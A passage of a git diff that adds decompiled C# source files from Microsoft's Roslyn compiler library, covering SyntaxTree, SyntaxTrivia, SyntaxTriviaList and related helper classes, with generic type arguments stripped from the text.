System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class SyntaxTree +{ + protected internal static readonly ImmutableDictionary EmptyDiagnosticOptions = ImmutableDictionary.Create(CaseInsensitiveComparison.Comparer); + + private ImmutableArray _lazyChecksum; + + private SourceHashAlgorithm _lazyHashAlgorithm; + + private SourceGeneratorSyntaxTreeInfo _sourceGeneratorInfo; + + public abstract string FilePath { get; } + + public abstract bool HasCompilationUnitRoot { get; } + + public ParseOptions Options => OptionsCore; + + protected abstract ParseOptions OptionsCore { get; } + + [Obsolete("Obsolete due to performance problems, use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public virtual ImmutableDictionary DiagnosticOptions => EmptyDiagnosticOptions; + + public abstract int Length { get; } + + public abstract Encoding? Encoding { get; } + + internal virtual bool SupportsLocations => HasCompilationUnitRoot; + + public abstract bool TryGetText([NotNullWhen(true)] out SourceText? text); + + public abstract SourceText GetText(CancellationToken cancellationToken = default(CancellationToken)); + + public virtual Task GetTextAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + SourceText text; + return Task.FromResult(TryGetText(out text) ? text : GetText(cancellationToken)); + } + + public bool TryGetRoot([NotNullWhen(true)] out SyntaxNode? root) + { + return TryGetRootCore(out root); + } + + protected abstract bool TryGetRootCore([NotNullWhen(true)] out SyntaxNode? root); + + public SyntaxNode GetRoot(CancellationToken cancellationToken = default(CancellationToken)) + { + return GetRootCore(cancellationToken); + } + + protected abstract SyntaxNode GetRootCore(CancellationToken cancellationToken); + + public Task GetRootAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + return GetRootAsyncCore(cancellationToken); + } + + protected abstract Task GetRootAsyncCore(CancellationToken cancellationToken); + + public abstract SyntaxTree WithChangedText(SourceText newText); + + public abstract IEnumerable GetDiagnostics(CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IEnumerable GetDiagnostics(SyntaxNode node); + + public abstract IEnumerable GetDiagnostics(SyntaxToken token); + + public abstract IEnumerable GetDiagnostics(SyntaxTrivia trivia); + + public abstract IEnumerable GetDiagnostics(SyntaxNodeOrToken nodeOrToken); + + public abstract FileLinePositionSpan GetLineSpan(TextSpan span, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract FileLinePositionSpan GetMappedLineSpan(TextSpan span, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract IEnumerable GetLineMappings(CancellationToken cancellationToken = default(CancellationToken)); + + public virtual LineVisibility GetLineVisibility(int position, CancellationToken cancellationToken = default(CancellationToken)) + { + return LineVisibility.Visible; + } + + internal virtual FileLinePositionSpan GetMappedLineSpanAndVisibility(TextSpan span, out bool isHiddenPosition) + { + isHiddenPosition = GetLineVisibility(span.Start) == LineVisibility.Hidden; + return GetMappedLineSpan(span); + } + + internal string GetDisplayPath(TextSpan span, SourceReferenceResolver? resolver) + { + FileLinePositionSpan mappedLineSpan = GetMappedLineSpan(span); + if (resolver == null || mappedLineSpan.Path.IsEmpty()) + { + return mappedLineSpan.Path; + } + return resolver.NormalizePath(mappedLineSpan.Path, mappedLineSpan.HasMappedPath ? FilePath : null) ?? mappedLineSpan.Path; + } + + internal int GetDisplayLineNumber(TextSpan span) + { + return GetMappedLineSpan(span).StartLinePosition.Line + 1; + } + + public abstract bool HasHiddenRegions(); + + public abstract IList GetChangedSpans(SyntaxTree syntaxTree); + + public abstract Location GetLocation(TextSpan span); + + public abstract bool IsEquivalentTo(SyntaxTree tree, bool topLevel = false); + + public abstract SyntaxReference GetReference(SyntaxNode node); + + public abstract IList GetChanges(SyntaxTree oldTree); + + internal DebugSourceInfo GetDebugSourceInfo() + { + if (_lazyChecksum.IsDefault) + { + SourceText text = GetText(); + _lazyChecksum = text.GetChecksum(); + _lazyHashAlgorithm = text.ChecksumAlgorithm; + } + return new DebugSourceInfo(_lazyChecksum, _lazyHashAlgorithm); + } + + public abstract SyntaxTree WithRootAndOptions(SyntaxNode root, ParseOptions options); + + public abstract SyntaxTree WithFilePath(string path); + + [Obsolete("Obsolete due to performance problems, use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public virtual SyntaxTree WithDiagnosticOptions(ImmutableDictionary options) + { + throw new NotImplementedException(); + } + + public override string ToString() + { + return GetText(CancellationToken.None).ToString(); + } + + internal SourceGeneratorSyntaxTreeInfo GetSourceGeneratorInfo(ISyntaxHelper syntaxHelper, CancellationToken cancellationToken) + { + if (_sourceGeneratorInfo == SourceGeneratorSyntaxTreeInfo.NotComputedYet) + { + SyntaxNode root = GetRoot(cancellationToken); + SourceGeneratorSyntaxTreeInfo sourceGeneratorSyntaxTreeInfo = SourceGeneratorSyntaxTreeInfo.None; + if (syntaxHelper.ContainsGlobalAliases(root)) + { + sourceGeneratorSyntaxTreeInfo |= SourceGeneratorSyntaxTreeInfo.ContainsGlobalAliases; + } + if (syntaxHelper.ContainsAttributeList(root)) + { + sourceGeneratorSyntaxTreeInfo |= SourceGeneratorSyntaxTreeInfo.ContainsAttributeList; + } + _sourceGeneratorInfo = sourceGeneratorSyntaxTreeInfo; + } + return _sourceGeneratorInfo; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeComparer.cs new file mode 100644 index 0000000..7901a7a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeComparer.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class SyntaxTreeComparer : IEqualityComparer +{ + public static readonly SyntaxTreeComparer Instance = new SyntaxTreeComparer(); + + public bool Equals(SyntaxTree? x, SyntaxTree? y) + { + if (x == null) + { + return y == null; + } + if (y == null) + { + return false; + } + if (string.Equals(x.FilePath, y.FilePath, StringComparison.OrdinalIgnoreCase)) + { + return SourceTextComparer.Instance.Equals(x.GetText(), y.GetText()); + } + return false; + } + + public int GetHashCode(SyntaxTree obj) + { + return Hash.Combine(obj.FilePath.GetHashCode(), SourceTextComparer.Instance.GetHashCode(obj.GetText())); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeExtensions.cs new file mode 100644 index 0000000..9306c11 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeExtensions.cs @@ -0,0 +1,104 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +internal static class SyntaxTreeExtensions +{ + [Conditional("DEBUG")] + internal static void VerifySource(this SyntaxTree tree, IEnumerable? changes = null) + { + SyntaxNode root = tree.GetRoot(); + SourceText text = tree.GetText(); + TextSpan textSpan = new TextSpan(0, text.Length); + SyntaxNode syntaxNode = null; + if (changes != null) + { + TextSpan change = TextChangeRange.Collapse(changes).Span; + if (change != textSpan) + { + syntaxNode = root.DescendantNodes((SyntaxNode n) => n.FullSpan.Contains(change)).LastOrDefault(); + } + } + if (syntaxNode == null) + { + syntaxNode = root; + } + TextSpan fullSpan = syntaxNode.FullSpan; + TextSpan? textSpan2 = fullSpan.Intersection(textSpan); + char c = '\0'; + char c2 = '\0'; + int num; + if (!textSpan2.HasValue) + { + num = 0; + } + else + { + string text2 = text.ToString(textSpan2.Value); + string text3 = syntaxNode.ToFullString(); + num = FindFirstDifference(text2, text3); + if (num >= 0) + { + c = text3[num]; + c2 = text2[num]; + } + } + if (num >= 0) + { + num += fullSpan.Start; + if (num < text.Length) + { + LinePosition linePosition = text.Lines.GetLinePosition(num); + TextLine textLine = text.Lines[linePosition.Line]; + text.ToString(); + string.Format("Unexpected difference at offset {0}: Line {1}, Column {2} \"{3}\" (Found: [{4}] Expected: [{5}])", new object[6] + { + num, + linePosition.Line + 1, + linePosition.Character + 1, + textLine.ToString(), + c, + c2 + }); + } + } + } + + private static int FindFirstDifference(string s1, string s2) + { + int length = s1.Length; + int length2 = s2.Length; + int num = Math.Min(length, length2); + for (int i = 0; i < num; i++) + { + if (s1[i] != s2[i]) + { + return i; + } + } + if (length != length2) + { + return num + 1; + } + return -1; + } + + public static bool IsHiddenPosition(this SyntaxTree tree, int position, CancellationToken cancellationToken = default(CancellationToken)) + { + if (!tree.HasHiddenRegions()) + { + return false; + } + LineVisibility lineVisibility = tree.GetLineVisibility(position, cancellationToken); + if (lineVisibility != LineVisibility.Hidden) + { + return lineVisibility == LineVisibility.BeforeFirstLineDirective; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeKey.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeKey.cs new file mode 100644 index 0000000..8f7a873 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeKey.cs @@ -0,0 +1,37 @@ +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +internal abstract class SyntaxTreeKey +{ + private sealed class DefaultSyntaxTreeKey : SyntaxTreeKey + { + private readonly SyntaxTree _tree; + + public override string FilePath => _tree.FilePath; + + public override ParseOptions Options => _tree.Options; + + public DefaultSyntaxTreeKey(SyntaxTree tree) + { + _tree = tree; + } + + public override SourceText GetText(CancellationToken cancellationToken = default(CancellationToken)) + { + return _tree.GetText(cancellationToken); + } + } + + public abstract string FilePath { get; } + + public abstract ParseOptions Options { get; } + + public abstract SourceText GetText(CancellationToken cancellationToken = default(CancellationToken)); + + public static SyntaxTreeKey Create(SyntaxTree tree) + { + return new DefaultSyntaxTreeKey(tree); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeOptionsProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeOptionsProvider.cs new file mode 100644 index 0000000..45e7d26 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTreeOptionsProvider.cs @@ -0,0 +1,12 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +public abstract class SyntaxTreeOptionsProvider +{ + public abstract GeneratedKind IsGenerated(SyntaxTree tree, CancellationToken cancellationToken); + + public abstract bool TryGetDiagnosticValue(SyntaxTree tree, string diagnosticId, CancellationToken cancellationToken, out ReportDiagnostic severity); + + public abstract bool TryGetGlobalDiagnosticValue(string diagnosticId, CancellationToken cancellationToken, out ReportDiagnostic severity); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTrivia.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTrivia.cs new file mode 100644 index 0000000..5c9c705 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTrivia.cs @@ -0,0 +1,297 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public readonly struct SyntaxTrivia : IEquatable +{ + internal static readonly Func Any = (SyntaxTrivia t) => true; + + public int RawKind => UnderlyingNode?.RawKind ?? 0; + + public string Language => UnderlyingNode?.Language ?? string.Empty; + + public SyntaxToken Token { get; } + + internal GreenNode? UnderlyingNode { get; } + + internal GreenNode RequiredUnderlyingNode => UnderlyingNode; + + internal int Position { get; } + + internal int Index { get; } + + internal int Width => UnderlyingNode?.Width ?? 0; + + internal int FullWidth => UnderlyingNode?.FullWidth ?? 0; + + public TextSpan Span + { + get + { + if (UnderlyingNode == null) + { + return default(TextSpan); + } + return new TextSpan(Position + UnderlyingNode.GetLeadingTriviaWidth(), UnderlyingNode.Width); + } + } + + public int SpanStart + { + get + { + if (UnderlyingNode == null) + { + return 0; + } + return Position + UnderlyingNode.GetLeadingTriviaWidth(); + } + } + + public TextSpan FullSpan + { + get + { + if (UnderlyingNode == null) + { + return default(TextSpan); + } + return new TextSpan(Position, UnderlyingNode.FullWidth); + } + } + + public bool ContainsDiagnostics => UnderlyingNode?.ContainsDiagnostics ?? false; + + public bool HasStructure => UnderlyingNode?.IsStructuredTrivia ?? false; + + internal bool ContainsAnnotations => UnderlyingNode?.ContainsAnnotations ?? false; + + public bool IsDirective => UnderlyingNode?.IsDirective ?? false; + + internal bool IsSkippedTokensTrivia => UnderlyingNode?.IsSkippedTokensTrivia ?? false; + + internal bool IsDocumentationCommentTrivia => UnderlyingNode?.IsDocumentationCommentTrivia ?? false; + + public SyntaxTree? SyntaxTree => Token.SyntaxTree; + + internal SyntaxTrivia(in SyntaxToken token, GreenNode? triviaNode, int position, int index) + { + Token = token; + UnderlyingNode = triviaNode; + Position = position; + Index = index; + } + + private string GetDebuggerDisplay() + { + return GetType().Name + " " + (UnderlyingNode?.KindText ?? "None") + " " + ToString(); + } + + public bool IsPartOfStructuredTrivia() + { + return Token.Parent?.IsPartOfStructuredTrivia() ?? false; + } + + public bool HasAnnotations(string annotationKind) + { + return UnderlyingNode?.HasAnnotations(annotationKind) ?? false; + } + + public bool HasAnnotations(params string[] annotationKinds) + { + return UnderlyingNode?.HasAnnotations(annotationKinds) ?? false; + } + + public bool HasAnnotation([NotNullWhen(true)] SyntaxAnnotation? annotation) + { + return UnderlyingNode?.HasAnnotation(annotation) ?? false; + } + + public IEnumerable GetAnnotations(string annotationKind) + { + if (UnderlyingNode == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return UnderlyingNode.GetAnnotations(annotationKind); + } + + public IEnumerable GetAnnotations(params string[] annotationKinds) + { + if (UnderlyingNode == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return UnderlyingNode.GetAnnotations(annotationKinds); + } + + public SyntaxNode? GetStructure() + { + if (!HasStructure) + { + return null; + } + return UnderlyingNode.GetStructure(this); + } + + internal bool TryGetStructure([NotNullWhen(true)] out SyntaxNode? structure) + { + structure = GetStructure(); + return structure != null; + } + + public override string ToString() + { + if (UnderlyingNode == null) + { + return string.Empty; + } + return UnderlyingNode.ToString(); + } + + public string ToFullString() + { + if (UnderlyingNode == null) + { + return string.Empty; + } + return UnderlyingNode.ToFullString(); + } + + public void WriteTo(TextWriter writer) + { + UnderlyingNode?.WriteTo(writer); + } + + public static bool operator ==(SyntaxTrivia left, SyntaxTrivia right) + { + return left.Equals(right); + } + + public static bool operator !=(SyntaxTrivia left, SyntaxTrivia right) + { + return !left.Equals(right); + } + + public bool Equals(SyntaxTrivia other) + { + if (Token == other.Token && UnderlyingNode == other.UnderlyingNode && Position == other.Position) + { + return Index == other.Index; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxTrivia other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Token.GetHashCode(), Hash.Combine(UnderlyingNode, Hash.Combine(Position, Index))); + } + + public SyntaxTrivia WithAdditionalAnnotations(params SyntaxAnnotation[] annotations) + { + return WithAdditionalAnnotations((IEnumerable)annotations); + } + + public SyntaxTrivia WithAdditionalAnnotations(IEnumerable annotations) + { + if (annotations == null) + { + throw new ArgumentNullException("annotations"); + } + if (UnderlyingNode != null) + { + return new SyntaxTrivia(default(SyntaxToken), UnderlyingNode.WithAdditionalAnnotationsGreen(annotations), 0, 0); + } + return default(SyntaxTrivia); + } + + public SyntaxTrivia WithoutAnnotations(params SyntaxAnnotation[] annotations) + { + return WithoutAnnotations((IEnumerable)annotations); + } + + public SyntaxTrivia WithoutAnnotations(IEnumerable annotations) + { + if (annotations == null) + { + throw new ArgumentNullException("annotations"); + } + if (UnderlyingNode != null) + { + return new SyntaxTrivia(default(SyntaxToken), UnderlyingNode.WithoutAnnotationsGreen(annotations), 0, 0); + } + return default(SyntaxTrivia); + } + + public SyntaxTrivia WithoutAnnotations(string annotationKind) + { + if (annotationKind == null) + { + throw new ArgumentNullException("annotationKind"); + } + if (HasAnnotations(annotationKind)) + { + return WithoutAnnotations(GetAnnotations(annotationKind)); + } + return this; + } + + public SyntaxTrivia CopyAnnotationsTo(SyntaxTrivia trivia) + { + if (trivia.UnderlyingNode == null) + { + return default(SyntaxTrivia); + } + if (UnderlyingNode == null) + { + return trivia; + } + SyntaxAnnotation[] annotations = UnderlyingNode.GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return trivia; + } + return new SyntaxTrivia(default(SyntaxToken), trivia.UnderlyingNode.WithAdditionalAnnotationsGreen(annotations), 0, 0); + } + + public Location GetLocation() + { + return SyntaxTree.GetLocation(Span); + } + + public IEnumerable GetDiagnostics() + { + return SyntaxTree.GetDiagnostics(this); + } + + public bool IsEquivalentTo(SyntaxTrivia trivia) + { + if (UnderlyingNode != null || trivia.UnderlyingNode != null) + { + if (UnderlyingNode != null && trivia.UnderlyingNode != null) + { + return UnderlyingNode.IsEquivalentTo(trivia.UnderlyingNode); + } + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTriviaList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTriviaList.cs new file mode 100644 index 0000000..1bbd287 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTriviaList.cs @@ -0,0 +1,688 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +public readonly struct SyntaxTriviaList : IEquatable, IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection +{ + [StructLayout(LayoutKind.Auto)] + public struct Enumerator + { + private SyntaxToken _token; + + private GreenNode? _singleNodeOrList; + + private int _baseIndex; + + private int _count; + + private int _index; + + private GreenNode? _current; + + private int _position; + + public SyntaxTrivia Current + { + get + { + if (_current == null) + { + throw new InvalidOperationException(); + } + return new SyntaxTrivia(in _token, _current, _position, _baseIndex + _index); + } + } + + internal Enumerator(in SyntaxTriviaList list) + { + _token = list.Token; + _singleNodeOrList = list.Node; + _baseIndex = list.Index; + _count = list.Count; + _index = -1; + _current = null; + _position = list.Position; + } + + private void InitializeFrom(in SyntaxToken token, GreenNode greenNode, int index, int position) + { + _token = token; + _singleNodeOrList = greenNode; + _baseIndex = index; + _count = ((!greenNode.IsList) ? 1 : greenNode.SlotCount); + _index = -1; + _current = null; + _position = position; + } + + internal void InitializeFromLeadingTrivia(in SyntaxToken token) + { + GreenNode leadingTriviaCore = token.Node.GetLeadingTriviaCore(); + InitializeFrom(in token, leadingTriviaCore, 0, token.Position); + } + + internal void InitializeFromTrailingTrivia(in SyntaxToken token) + { + GreenNode leadingTriviaCore = token.Node.GetLeadingTriviaCore(); + int index = 0; + if (leadingTriviaCore != null) + { + index = ((!leadingTriviaCore.IsList) ? 1 : leadingTriviaCore.SlotCount); + } + GreenNode trailingTriviaCore = token.Node.GetTrailingTriviaCore(); + int num = token.Position + token.FullWidth; + if (trailingTriviaCore != null) + { + num -= trailingTriviaCore.FullWidth; + } + InitializeFrom(in token, trailingTriviaCore, index, num); + } + + public bool MoveNext() + { + int num = _index + 1; + if (num >= _count) + { + _current = null; + return false; + } + _index = num; + if (_current != null) + { + _position += _current.FullWidth; + } + _current = GetGreenNodeAt(_singleNodeOrList, num); + return true; + } + + internal bool TryMoveNextAndGetCurrent(out SyntaxTrivia current) + { + if (!MoveNext()) + { + current = default(SyntaxTrivia); + return false; + } + current = new SyntaxTrivia(in _token, _current, _position, _baseIndex + _index); + return true; + } + } + + private class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public SyntaxTrivia Current => _enumerator.Current; + + object IEnumerator.Current => _enumerator.Current; + + internal EnumeratorImpl(in SyntaxTriviaList list) + { + _enumerator = new Enumerator(in list); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + throw new NotSupportedException(); + } + + public void Dispose() + { + } + } + + public readonly struct Reversed(SyntaxTriviaList list) : IEnumerable, IEnumerable, IEquatable + { + [StructLayout(LayoutKind.Auto)] + public struct Enumerator + { + private readonly SyntaxToken _token; + + private readonly GreenNode? _singleNodeOrList; + + private readonly int _baseIndex; + + private readonly int _count; + + private int _index; + + private GreenNode? _current; + + private int _position; + + public SyntaxTrivia Current + { + get + { + if (_current == null) + { + throw new InvalidOperationException(); + } + return new SyntaxTrivia(in _token, _current, _position, _baseIndex + _index); + } + } + + internal Enumerator(in SyntaxTriviaList list) + { + this = default(Enumerator); + if (list.Node != null) + { + _token = list.Token; + _singleNodeOrList = list.Node; + _baseIndex = list.Index; + _count = list.Count; + _index = _count; + _current = null; + SyntaxTrivia syntaxTrivia = list.Last(); + _position = syntaxTrivia.Position + syntaxTrivia.FullWidth; + } + } + + public bool MoveNext() + { + if (_count == 0 || _index <= 0) + { + _current = null; + return false; + } + _index--; + _current = GetGreenNodeAt(_singleNodeOrList, _index); + _position -= _current.FullWidth; + return true; + } + } + + private class ReversedEnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public SyntaxTrivia Current => _enumerator.Current; + + object IEnumerator.Current => _enumerator.Current; + + internal ReversedEnumeratorImpl(in SyntaxTriviaList list) + { + _enumerator = new Enumerator(in list); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + throw new NotSupportedException(); + } + + public void Dispose() + { + } + } + + private readonly SyntaxTriviaList _list = list; + + public Enumerator GetEnumerator() + { + return new Enumerator(in _list); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_list.Count == 0) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new ReversedEnumeratorImpl(in _list); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_list.Count == 0) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new ReversedEnumeratorImpl(in _list); + } + + public override int GetHashCode() + { + return _list.GetHashCode(); + } + + public override bool Equals(object? obj) + { + if (obj is Reversed) + { + return Equals((Reversed)obj); + } + return false; + } + + public bool Equals(Reversed other) + { + return _list.Equals(other._list); + } + } + + private static readonly ObjectPool s_builderPool; + + public static SyntaxTriviaList Empty => default(SyntaxTriviaList); + + internal SyntaxToken Token { get; } + + internal GreenNode? Node { get; } + + internal int Position { get; } + + internal int Index { get; } + + public int Count + { + get + { + if (Node != null) + { + if (!Node.IsList) + { + return 1; + } + return Node.SlotCount; + } + return 0; + } + } + + public SyntaxTrivia this[int index] + { + get + { + if (Node != null) + { + if (Node.IsList) + { + if ((uint)index < (uint)Node.SlotCount) + { + return new SyntaxTrivia(Token, Node.GetSlot(index), Position + Node.GetSlotOffset(index), Index + index); + } + } + else if (index == 0) + { + return new SyntaxTrivia(Token, Node, Position, Index); + } + } + throw new ArgumentOutOfRangeException("index"); + } + } + + public TextSpan FullSpan + { + get + { + if (Node == null) + { + return default(TextSpan); + } + return new TextSpan(Position, Node.FullWidth); + } + } + + public TextSpan Span + { + get + { + if (Node == null) + { + return default(TextSpan); + } + return TextSpan.FromBounds(Position + Node.GetLeadingTriviaWidth(), Position + Node.FullWidth - Node.GetTrailingTriviaWidth()); + } + } + + private SyntaxTrivia[] Nodes => this.ToArray(); + + internal SyntaxTriviaList(in SyntaxToken token, GreenNode? node, int position, int index = 0) + { + Token = token; + Node = node; + Position = position; + Index = index; + } + + internal SyntaxTriviaList(in SyntaxToken token, GreenNode? node) + { + Token = token; + Node = node; + Position = token.Position; + Index = 0; + } + + public SyntaxTriviaList(SyntaxTrivia trivia) + { + Token = default(SyntaxToken); + Node = trivia.UnderlyingNode; + Position = 0; + Index = 0; + } + + public SyntaxTriviaList(params SyntaxTrivia[] trivias) + { + this = new SyntaxTriviaList(default(SyntaxToken), CreateNode(trivias), 0); + } + + public SyntaxTriviaList(IEnumerable? trivias) + { + this = new SyntaxTriviaList(default(SyntaxToken), SyntaxTriviaListBuilder.Create(trivias).Node, 0); + } + + private static GreenNode? CreateNode(SyntaxTrivia[]? trivias) + { + if (trivias == null) + { + return null; + } + SyntaxTriviaListBuilder syntaxTriviaListBuilder = new SyntaxTriviaListBuilder(trivias.Length); + syntaxTriviaListBuilder.Add(trivias); + return syntaxTriviaListBuilder.ToList().Node; + } + + public SyntaxTrivia ElementAt(int index) + { + return this[index]; + } + + public SyntaxTrivia First() + { + if (Any()) + { + return this[0]; + } + throw new InvalidOperationException(); + } + + public SyntaxTrivia Last() + { + if (Any()) + { + return this[Count - 1]; + } + throw new InvalidOperationException(); + } + + public bool Any() + { + return Node != null; + } + + public Reversed Reverse() + { + return new Reversed(this); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public int IndexOf(SyntaxTrivia triviaInList) + { + int i = 0; + for (int count = Count; i < count; i++) + { + if (this[i] == triviaInList) + { + return i; + } + } + return -1; + } + + internal int IndexOf(int rawKind) + { + int i = 0; + for (int count = Count; i < count; i++) + { + if (this[i].RawKind == rawKind) + { + return i; + } + } + return -1; + } + + public SyntaxTriviaList Add(SyntaxTrivia trivia) + { + return Insert(Count, trivia); + } + + public SyntaxTriviaList AddRange(IEnumerable trivia) + { + return InsertRange(Count, trivia); + } + + public SyntaxTriviaList Insert(int index, SyntaxTrivia trivia) + { + if (trivia == default(SyntaxTrivia)) + { + throw new ArgumentOutOfRangeException("trivia"); + } + return InsertRange(index, new SyntaxTrivia[1] { trivia }); + } + + private static SyntaxTriviaListBuilder GetBuilder() + { + return s_builderPool.Allocate(); + } + + private static void ClearAndFreeBuilder(SyntaxTriviaListBuilder builder) + { + if (builder.Count <= 16) + { + builder.Clear(); + s_builderPool.Free(builder); + } + } + + public SyntaxTriviaList InsertRange(int index, IEnumerable trivia) + { + int count = Count; + if (index < 0 || index > count) + { + throw new ArgumentOutOfRangeException("index"); + } + if (trivia == null) + { + throw new ArgumentNullException("trivia"); + } + if (trivia is ICollection { Count: 0 }) + { + return this; + } + SyntaxTriviaListBuilder builder = GetBuilder(); + try + { + for (int i = 0; i < index; i++) + { + builder.Add(this[i]); + } + builder.AddRange(trivia); + for (int j = index; j < count; j++) + { + builder.Add(this[j]); + } + return (builder.Count == count) ? this : builder.ToList(); + } + finally + { + ClearAndFreeBuilder(builder); + } + } + + public SyntaxTriviaList RemoveAt(int index) + { + if (index < 0 || index >= Count) + { + throw new ArgumentOutOfRangeException("index"); + } + List list = this.ToList(); + list.RemoveAt(index); + return new SyntaxTriviaList(default(SyntaxToken), GreenNode.CreateList(list, (SyntaxTrivia n) => n.RequiredUnderlyingNode), 0); + } + + public SyntaxTriviaList Remove(SyntaxTrivia triviaInList) + { + int num = IndexOf(triviaInList); + if (num >= 0 && num < Count) + { + return RemoveAt(num); + } + return this; + } + + public SyntaxTriviaList Replace(SyntaxTrivia triviaInList, SyntaxTrivia newTrivia) + { + if (newTrivia == default(SyntaxTrivia)) + { + throw new ArgumentOutOfRangeException("newTrivia"); + } + return ReplaceRange(triviaInList, new SyntaxTrivia[1] { newTrivia }); + } + + public SyntaxTriviaList ReplaceRange(SyntaxTrivia triviaInList, IEnumerable newTrivia) + { + int num = IndexOf(triviaInList); + if (num >= 0 && num < Count) + { + List list = this.ToList(); + list.RemoveAt(num); + list.InsertRange(num, newTrivia); + return new SyntaxTriviaList(default(SyntaxToken), GreenNode.CreateList(list, (SyntaxTrivia n) => n.RequiredUnderlyingNode), 0); + } + throw new ArgumentOutOfRangeException("triviaInList"); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(this); + } + + private GreenNode? GetGreenNodeAt(int i) + { + return GetGreenNodeAt(Node, i); + } + + private static GreenNode? GetGreenNodeAt(GreenNode node, int i) + { + if (!node.IsList) + { + return node; + } + return node.GetSlot(i); + } + + public bool Equals(SyntaxTriviaList other) + { + if (Node == other.Node && Index == other.Index) + { + return Token.Equals(other.Token); + } + return false; + } + + public static bool operator ==(SyntaxTriviaList left, SyntaxTriviaList right) + { + return left.Equals(right); + } + + public static bool operator !=(SyntaxTriviaList left, SyntaxTriviaList right) + { + return !left.Equals(right); + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxTriviaList other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Token.GetHashCode(), Hash.Combine(Node, Index)); + } + + internal void CopyTo(int offset, SyntaxTrivia[] array, int arrayOffset, int count) + { + if (offset < 0 || count < 0 || Count < offset + count) + { + throw new IndexOutOfRangeException(); + } + if (count != 0) + { + SyntaxTrivia syntaxTrivia = (array[arrayOffset] = this[offset]); + int num = syntaxTrivia.Position; + SyntaxTrivia syntaxTrivia2 = syntaxTrivia; + for (int i = 1; i < count; i++) + { + num += syntaxTrivia2.FullWidth; + 